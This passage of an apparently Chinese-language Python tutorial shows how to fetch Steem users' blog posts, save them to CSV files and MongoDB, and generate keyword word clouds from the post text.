</span></span><span class="line"><span class="cl"><span class="n">mongo_collection</span> <span class="o">=</span> <span class="n">mongo_client</span><span class="p">[</span><span class="n">MONGO_COLLECTION</span><span class="p">]</span>
</span></span></code></pre></td></tr></table>
</div>
</div><div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span><span class="lnt">11
</span><span class="lnt">12
</span><span class="lnt">13
</span><span class="lnt">14
</span><span class="lnt">15
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">save_to_mongodb</span><span class="p">(</span><span class="n">data</span><span class="p">,</span> <span class="n">tablename</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">    <span class="k">if</span> <span class="n">data</span> <span class="ow">is</span> <span class="ow">not</span> <span class="kc">None</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">        <span class="k">if</span> <span class="nb">isinstance</span><span class="p">(</span><span class="n">data</span><span class="p">,</span> <span class="nb">list</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">            <span class="n">result</span> <span class="o">=</span> <span class="n">mongo_collection</span><span class="p">[</span><span class="n">tablename</span><span class="p">]</span><span class="o">.</span><span class="n">insert_many</span><span class="p">(</span><span class="n">data</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">            <span class="k">if</span> <span class="n">result</span><span class="o">.</span><span class="n">acknowledged</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">                <span class="nb">print</span><span class="p">(</span><span class="s1">&#39;已导入</span><span class="si">%d</span><span class="s1">条数据&#39;</span> <span class="o">%</span> <span class="nb">len</span><span class="p">(</span><span class="n">result</span><span class="o">.</span><span class="n">inserted_ids</span><span class="p">))</span>
</span></span><span class="line"><span class="cl">                <span class="k">return</span> <span class="n">result</span><span class="o">.</span><span class="n">inserted_ids</span>
</span></span><span class="line"><span class="cl">        <span class="k">if</span> <span class="nb">isinstance</span><span class="p">(</span><span class="n">data</span><span class="p">,</span> <span class="nb">dict</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">            <span class="k">if</span> <span class="n">mongo_collection</span><span class="p">[</span><span class="n">tablename</span><span class="p">]</span><span class="o">.</span><span class="n">update_one</span><span class="p">({</span>
</span></span><span class="line"><span class="cl">                    <span class="s1">&#39;account_name&#39;</span><span class="p">:</span> <span class="n">data</span><span class="o">.</span><span class="n">get</span><span class="p">(</span><span class="s1">&#39;account_name&#39;</span><span class="p">)},</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">                    <span class="s1">&#39;$set&#39;</span><span class="p">:</span> <span class="n">data</span><span class="p">},</span> <span class="n">upsert</span><span class="o">=</span><span class="kc">True</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">                <span class="nb">print</span><span class="p">(</span><span class="s1">&#39;已导入</span><span class="si">%s</span><span class="s1">的数据&#39;</span> <span class="o">%</span> <span class="n">data</span><span class="o">.</span><span class="n">get</span><span class="p">(</span><span class="s1">&#39;account_name&#39;</span><span class="p">))</span>
</span></span><span class="line"><span class="cl">                <span class="k">return</span> <span class="kc">True</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">        <span class="k">return</span> <span class="kc">None</span>
</span></span></code></pre></td></tr></table>
</div>
</div><div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="n">yjcps</span> <span class="o">=</span> <span class="n">get_user_posts</span><span class="p">(</span><span class="s1">&#39;yjcps&#39;</span><span class="p">)</span>
</span></span></code></pre></td></tr></table>
</div>
</div><div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="c1"># 查看返回的数据</span>
</span></span><span class="line"><span class="cl"><span class="n">pprint</span><span class="p">(</span><span class="n">yjcps</span><span class="p">)</span>
</span></span></code></pre></td></tr></table>
</div>
</div><div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span><span class="lnt">11
</span><span class="lnt">12
</span><span class="lnt">13
</span><span class="lnt">14
</span><span class="lnt">15
</span><span class="lnt">16
</span><span class="lnt">17
</span><span class="lnt">18
</span><span class="lnt">19
</span><span class="lnt">20
</span><span class="lnt">21
</span><span class="lnt">22
</span><span class="lnt">23
</span><span class="lnt">24
</span><span class="lnt">25
</span><span class="lnt">26
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-gdscript3" data-lang="gdscript3"><span class="line"><span class="cl"><span class="p">{</span><span class="s1">&#39;account_name&#39;</span><span class="p">:</span> <span class="s1">&#39;yjcps&#39;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl"> <span class="s1">&#39;count_posts&#39;</span><span class="p">:</span> <span class="mi">35</span><span class="p">,</span>
</span></span><span class="line"><span class="cl"> <span class="s1">&#39;posts&#39;</span><span class="p">:</span> <span class="p">[{</span><span class="s1">&#39;active&#39;</span><span class="p">:</span> <span class="s1">&#39;2018-08-23 11:32:18&#39;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">            <span class="s1">&#39;active_voter&#39;</span><span class="p">:</span> <span class="s1">&#39;steempress,justyy,happyukgo,doraemon,superbing,dailystats,cryptocurrencyhk,jianan,steemtaker,cnbuddy,anxin,foodielifestyle,woolfe19861008,dailychina,yjcps,dongfengman,serenazz,shentrading,ethanlee,fanso,lilypang22,steempress-io,sweet-jenny8,shine.wong,turtlegraphics,regretfulwooden,witnesstools,happyfamily,ilovecoding&#39;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">            <span class="s1">&#39;author&#39;</span><span class="p">:</span> <span class="s1">&#39;yjcps&#39;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">            <span class="s1">&#39;author_reputation&#39;</span><span class="p">:</span> <span class="mf">51.616714372034224</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">            <span class="s1">&#39;body&#39;</span><span class="p">:</span> <span class="s1">&#39;# Learn Python with Steem #09 笔记</span><span class="se">\n</span><span class="s1">&#39;</span>
</span></span><span class="line"><span class="cl">                    <span class="s1">&#39;</span><span class="se">\n</span><span class="s1">&#39;</span>
</span></span><span class="line"><span class="cl">                    <span class="s1">&#39;---</span><span class="se">\n</span><span class="s1">&#39;</span>
</span></span><span class="line"><span class="cl">                    <span class="s1">&#39;</span><span class="se">\n</span><span class="s1">&#39;</span>
</span></span><span class="line"><span class="cl">                    <span class="s1">&#39;[toc]</span><span class="se">\n</span><span class="s1">&#39;</span>
</span></span><span class="line"><span class="cl">                    <span class="s1">&#39;</span><span class="se">\n</span><span class="s1">&#39;</span>
</span></span><span class="line"><span class="cl">                    <span class="s1">&#39;## 划重点</span><span class="se">\n</span><span class="s1">&#39;</span>
</span></span><span class="line"><span class="cl">                    <span class="s1">&#39;</span><span class="se">\n</span><span class="s1">&#39;</span>
</span></span><span class="line"><span class="cl">                    <span class="s1">&#39;- 遍历字典</span><span class="se">\n</span><span class="s1">&#39;</span>
</span></span><span class="line"><span class="cl">                    <span class="s1">&#39;</span><span class="se">\n</span><span class="s1">&#39;</span>
</span></span><span class="line"><span class="cl">                    <span class="s1">&#39; 利用dict.items()方法，用一个循环语句遍历整个字典的所有元素。</span><span class="se">\n</span><span class="s1">&#39;</span>
</span></span><span class="line"><span class="cl">                <span class="o">...</span>
</span></span><span class="line"><span class="cl">                <span class="o">...</span>
</span></span><span class="line"><span class="cl">                    <span class="s2">&#34;     &#39;last_post_date&#39;: &#39;2018-08-16-Thu 20:57:21&#39;,</span><span class="se">\n</span><span class="s2">&#34;</span>
</span></span><span class="line"><span class="cl">                    <span class="s2">&#34;     &#39;post_count&#39;: 5926,</span><span class="se">\n</span><span class="s2">&#34;</span>
</span></span><span class="line"><span class="cl">                    <span class="s2">&#34;     &#39;reputation&#39;: 67.26589131476406,</span><span class="se">\n</span><span class="s2">&#34;</span>
</span></span><span class="line"><span class="cl">                    <span class="s2">&#34;     &#39;sbd_balance&#39;: &#39;30.081 SBD&#39;,</span><span class="se">\n</span><span class="s2">&#34;</span>
</span></span><span class="line"><span class="cl">                    <span class="s2">&#34;     &#39;sp&#39;: 5186.613554620994,</span><span class="se">\n</span><span class="s2">&#34;</span>
</span></span><span class="line"><span class="cl">                    <span class="s2">&#34;     &#39;vesting_shares&#39;: 10501691.705077,</span><span class="se">\n</span><span class="s2">&#34;</span>
</span></span><span class="line"><span class="cl">                    <span class="s2">&#34;     &#39;vot</span>
</span></span></code></pre></td></tr></table>
</div>
</div><p><strong>limit_output extension: Maximum message size of 9996 exceeded with 57914 characters</strong></p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="n">file_path</span> <span class="o">=</span> <span class="s1">&#39;</span><span class="si">{}</span><span class="s1">_all_posts_</span><span class="si">{}</span><span class="s1">.csv&#39;</span><span class="o">.</span><span class="n">format</span><span class="p">(</span><span class="n">yjcps</span><span class="p">[</span><span class="s1">&#39;account_name&#39;</span><span class="p">],</span> <span class="n">yjcps</span><span class="p">[</span><span class="s1">&#39;count_posts&#39;</span><span class="p">])</span>
</span></span></code></pre></td></tr></table>
</div>
</div><div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span><span class="lnt">5
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="c1"># 保存数据为CSV文件，方便在Windows的Excel软件打开，选择编码为gbk,这样会丢弃不能编码的字符</span>
</span></span><span class="line"><span class="cl"><span class="c1"># 可以选择utf-8编码，但需要从Excel中手动导入数据</span>
</span></span><span class="line"><span class="cl"><span class="c1"># 如果日后编程需要取用，建议使用utf-8编码</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">save_to_csv</span><span class="p">(</span><span class="n">yjcps</span><span class="p">[</span><span class="s1">&#39;posts&#39;</span><span class="p">],</span> <span class="n">file_path</span><span class="p">,</span> <span class="s1">&#39;gbk&#39;</span><span class="p">)</span>
</span></span></code></pre></td></tr></table>
</div>
</div><p>哈哈，我的所有文章数据，放到Excel里打开</p>
<p><img loading="lazy" src="https://ipfs.busy.org/ipfs/QmaydqUDiVJ1bi4ttWA4d461d8FPEvZKRnhdvh7SwQibp2" alt="图片.png"  />
</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="c1">#保存到数据库</span>
</span></span><span class="line"><span class="cl"><span class="n">save_to_mongodb</span><span class="p">(</span><span class="n">yjcps</span><span class="p">,</span> <span class="s1">&#39;steem_posts&#39;</span><span class="p">)</span>
</span></span></code></pre></td></tr></table>
</div>
</div><div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span><span class="lnt">5
</span><span class="lnt">6
</span><span class="lnt">7
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">已导入yjcps的数据
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">True
</span></span></code></pre></td></tr></table>
</div>
</div><p>成功保存到数据库</p>
<p><img loading="lazy" src="https://ipfs.busy.org/ipfs/QmdLm5AbaDjCT3bi2WM1ZdYnZDXM42brf7i7Tw5xfUgSXa" alt="图片.png"  />
</p>
<p>取大鹏的数据看看</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="n">dapeng</span> <span class="o">=</span> <span class="n">get_user_posts</span><span class="p">(</span><span class="s1">&#39;dapeng&#39;</span><span class="p">)</span>
</span></span></code></pre></td></tr></table>
</div>
</div><div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="n">file_path</span> <span class="o">=</span> <span class="s1">&#39;</span><span class="si">{}</span><span class="s1">_all_posts_</span><span class="si">{}</span><span class="s1">.csv&#39;</span><span class="o">.</span><span class="n">format</span><span class="p">(</span><span class="n">dapeng</span><span class="p">[</span><span class="s1">&#39;account_name&#39;</span><span class="p">],</span> <span class="n">dapeng</span><span class="p">[</span><span class="s1">&#39;count_posts&#39;</span><span class="p">])</span>
</span></span></code></pre></td></tr></table>
</div>
</div><div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="n">save_to_csv</span><span class="p">(</span><span class="n">dapeng</span><span class="p">[</span><span class="s1">&#39;posts&#39;</span><span class="p">],</span> <span class="n">file_path</span><span class="p">,</span> <span class="s1">&#39;gbk&#39;</span><span class="p">)</span>
</span></span></code></pre></td></tr></table>
</div>
</div><div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="n">save_to_mongodb</span><span class="p">(</span><span class="n">dapeng</span><span class="p">,</span> <span class="s1">&#39;steem_posts&#39;</span><span class="p">)</span>
</span></span></code></pre></td></tr></table>
</div>
</div><div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span><span class="lnt">5
</span><span class="lnt">6
</span><span class="lnt">7
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">已导入dapeng的数据
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">True
</span></span></code></pre></td></tr></table>
</div>
</div><p>花了5分钟来获取大鹏的所有文章数据，一共497篇文章，难怪要等那么久，以后从数据库获取数据会快一点。<br>
<img loading="lazy" src="https://ipfs.busy.org/ipfs/QmZrzqgxVMNaH6WYQNCjmk84VxW82eUZLq2fiqyeWDfYGa" alt="图片.png"  />
</p>
<p>再看看刘美女的文章</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="n">deanliu</span> <span class="o">=</span> <span class="n">get_user_posts</span><span class="p">(</span><span class="s1">&#39;deanliu&#39;</span><span class="p">)</span>
</span></span></code></pre></td></tr></table>
</div>
</div><div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">WARNING:root:Retry in 1s -- RPCErrorRecoverable: non-200 response: 502 from api.steemit.com
</span></span><span class="line"><span class="cl">WARNING:root:Retry in 1s -- RPCErrorRecoverable: non-200 response: 502 from api.steemit.com
</span></span></code></pre></td></tr></table>
</div>
</div><div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="n">file_path</span> <span class="o">=</span> <span class="s1">&#39;</span><span class="si">{}</span><span class="s1">_all_posts_</span><span class="si">{}</span><span class="s1">.csv&#39;</span><span class="o">.</span><span class="n">format</span><span class="p">(</span><span class="n">deanliu</span><span class="p">[</span><span class="s1">&#39;account_name&#39;</span><span class="p">],</span> <span class="n">deanliu</span><span class="p">[</span><span class="s1">&#39;count_posts&#39;</span><span class="p">])</span>
</span></span></code></pre></td></tr></table>
</div>
</div><div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="n">save_to_csv</span><span class="p">(</span><span class="n">deanliu</span><span class="p">[</span><span class="s1">&#39;posts&#39;</span><span class="p">],</span> <span class="n">file_path</span><span class="p">,</span> <span class="s1">&#39;gbk&#39;</span><span class="p">)</span>
</span></span></code></pre></td></tr></table>
</div>
</div><div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="n">save_to_mongodb</span><span class="p">(</span><span class="n">deanliu</span><span class="p">,</span> <span class="s1">&#39;steem_posts&#39;</span><span class="p">)</span>
</span></span></code></pre></td></tr></table>
</div>
</div><div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span><span class="lnt">5
</span><span class="lnt">6
</span><span class="lnt">7
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">已导入deanliu的数据
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">True
</span></span></code></pre></td></tr></table>
</div>
</div><p>获取刘美女的所有文章花了11分钟，一共878篇文章，高产作家！</p>
<p><img loading="lazy" src="https://ipfs.busy.org/ipfs/QmewjLTJARvyjez2PBUfBNW8RGAv2SFEV9xKH6kRJki1im" alt="图片.png"  />
</p>
<p>也成功保存了CSV文件。</p>
<p><img loading="lazy" src="https://ipfs.busy.org/ipfs/Qmctf4Rd5i7Ksd6nacdLGouPuMqNCPLzdNtwSBpJRkjtbv" alt="图片.png"  />
</p>
<h2 id="补充">补充</h2>
<h3 id="为所有文章生成词云图片">为所有文章生成词云图片</h3>
<p>导入需要的Python包</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span><span class="lnt">5
</span><span class="lnt">6
</span><span class="lnt">7
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="kn">import</span> <span class="nn">numpy</span> <span class="k">as</span> <span class="nn">np</span>
</span></span><span class="line"><span class="cl"><span class="kn">import</span> <span class="nn">jieba.analyse</span>
</span></span><span class="line"><span class="cl"><span class="kn">import</span> <span class="nn">PIL.Image</span> <span class="k">as</span> <span class="nn">Image</span>
</span></span><span class="line"><span class="cl"><span class="kn">import</span> <span class="nn">re</span>
</span></span><span class="line"><span class="cl"><span class="kn">from</span> <span class="nn">matplotlib</span> <span class="kn">import</span> <span class="n">pyplot</span> <span class="k">as</span> <span class="n">plt</span>
</span></span><span class="line"><span class="cl"><span class="kn">from</span> <span class="nn">collections</span> <span class="kn">import</span> <span class="n">Counter</span>
</span></span><span class="line"><span class="cl"><span class="kn">from</span> <span class="nn">wordcloud</span> <span class="kn">import</span> <span class="n">WordCloud</span><span class="p">,</span> <span class="n">ImageColorGenerator</span>
</span></span></code></pre></td></tr></table>
</div>
</div><p>定义一个清理文章的函数，只保留中文</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span><span class="lnt">5
</span><span class="lnt">6
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="c1"># 去除所有半角全角符号，只留字母、数字、中文。</span>
</span></span><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">clean_text</span><span class="p">(</span><span class="n">text</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">    <span class="c1"># rule = re.compile(r&#34;[^a-zA-Z0-9\u4e00-\u9fa5]&#34;)</span>
</span></span><span class="line"><span class="cl">    <span class="n">rule</span> <span class="o">=</span> <span class="n">re</span><span class="o">.</span><span class="n">compile</span><span class="p">(</span><span class="sa">u</span><span class="s2">&#34;[^</span><span class="se">\u4e00</span><span class="s2">-</span><span class="se">\u9fa5</span><span class="s2">]&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">text</span> <span class="o">=</span> <span class="n">rule</span><span class="o">.</span><span class="n">sub</span><span class="p">(</span><span class="s1">&#39; &#39;</span><span class="p">,</span> <span class="n">text</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="n">text</span>
</span></span></code></pre></td></tr></table>
</div>
</div><p>为文章分词，并统计每个关键词的频率</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span><span class="lnt">5
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">get_tag</span><span class="p">(</span><span class="n">text</span><span class="p">,</span> <span class="n">cnt</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">    <span class="n">re_text</span> <span class="o">=</span> <span class="n">clean_text</span><span class="p">(</span><span class="n">text</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">tag_list</span> <span class="o">=</span> <span class="n">jieba</span><span class="o">.</span><span class="n">analyse</span><span class="o">.</span><span class="n">extract_tags</span><span class="p">(</span><span class="n">re_text</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="k">for</span> <span class="n">tag</span> <span class="ow">in</span> <span class="n">tag_list</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">        <span class="n">cnt</span><span class="p">[</span><span class="n">tag</span><span class="p">]</span> <span class="o">+=</span> <span class="mi">1</span>
</span></span></code></pre></td></tr></table>
</div>
</div><div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="c1"># 取出所有文章，放到一个列表里面</span>
</span></span><span class="line"><span class="cl"><span class="n">yjcps_all_post</span> <span class="o">=</span> <span class="p">[</span><span class="n">post</span><span class="p">[</span><span class="s1">&#39;body&#39;</span><span class="p">]</span> <span class="k">for</span> <span class="n">post</span> <span class="ow">in</span> <span class="n">yjcps</span><span class="p">[</span><span class="s1">&#39;posts&#39;</span><span class="p">]]</span>
</span></span></code></pre></td></tr></table>
</div>
</div><p><img loading="lazy" src="https://i.loli.net/2018/08/26/5b8251cb9ad9f.jpg" alt="blob.jpg"  />
</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="c1"># 获取词频</span>
</span></span><span class="line"><span class="cl"><span class="n">yjcps_post_counter</span> <span class="o">=</span> <span class="n">Counter</span><span class="p">()</span>
</span></span><span class="line"><span class="cl"><span class="k">for</span> <span class="n">post</span> <span class="ow">in</span> <span class="n">yjcps_all_post</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">    <span class="n">get_tag</span><span class="p">(</span><span class="n">post</span><span class="p">,</span> <span class="n">yjcps_post_counter</span><span class="p">)</span>
</span></span></code></pre></td></tr></table>
</div>
</div><p><img loading="lazy" src="https://i.loli.net/2018/08/26/5b8252a46a0a8.jpg" alt="blob.jpg"  />
</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span><span class="lnt">11
</span><span class="lnt">12
</span><span class="lnt">13
</span><span class="lnt">14
</span><span class="lnt">15
</span><span class="lnt">16
</span><span class="lnt">17
</span><span class="lnt">18
</span><span class="lnt">19
</span><span class="lnt">20
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="c1"># 画词云图</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># 指定中文字体</span>
</span></span><span class="line"><span class="cl"><span class="n">font</span> <span class="o">=</span> <span class="s1">&#39;DroidSansFallbackFull.ttf&#39;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">wc</span> <span class="o">=</span> <span class="n">WordCloud</span><span class="p">(</span>
</span></span><span class="line"><span class="cl">    <span class="n">font_path</span><span class="o">=</span><span class="n">font</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="n">background_color</span><span class="o">=</span><span class="s2">&#34;white&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="n">max_words</span><span class="o">=</span><span class="mi">2000</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="n">max_font_size</span><span class="o">=</span><span class="mi">100</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="n">width</span><span class="o">=</span><span class="mi">800</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="n">height</span><span class="o">=</span><span class="mi">800</span><span class="p">,</span>
</span></span><span class="line"><span class="cl"><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">wc</span><span class="o">.</span><span class="n">generate_from_frequencies</span><span class="p">(</span><span class="n">yjcps_post_counter</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">plt</span><span class="o">.</span><span class="n">figure</span><span class="p">(</span><span class="n">figsize</span><span class="o">=</span><span class="p">(</span><span class="mi">8</span><span class="p">,</span> <span class="mi">8</span><span class="p">))</span>
</span></span><span class="line"><span class="cl"><span class="n">plt</span><span class="o">.</span><span class="n">imshow</span><span class="p">(</span><span class="n">wc</span><span class="p">,</span> <span class="n">interpolation</span><span class="o">=</span><span class="s2">&#34;none&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">plt</span><span class="o">.</span><span class="n">axis</span><span class="p">(</span><span class="s2">&#34;off&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">plt</span><span class="o">.</span><span class="n">show</span><span class="p">()</span>
</span></span></code></pre></td></tr></table>
</div>
</div><p><img loading="lazy" src="https://ipfs.busy.org/ipfs/QmSnhL64GwH659dkCz33vtU7cJ4gTTxkUceMDmi9JEEcdm" alt="output_49_0.png"  />
</p>
<p>再来看看大鹏的文章关键词</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
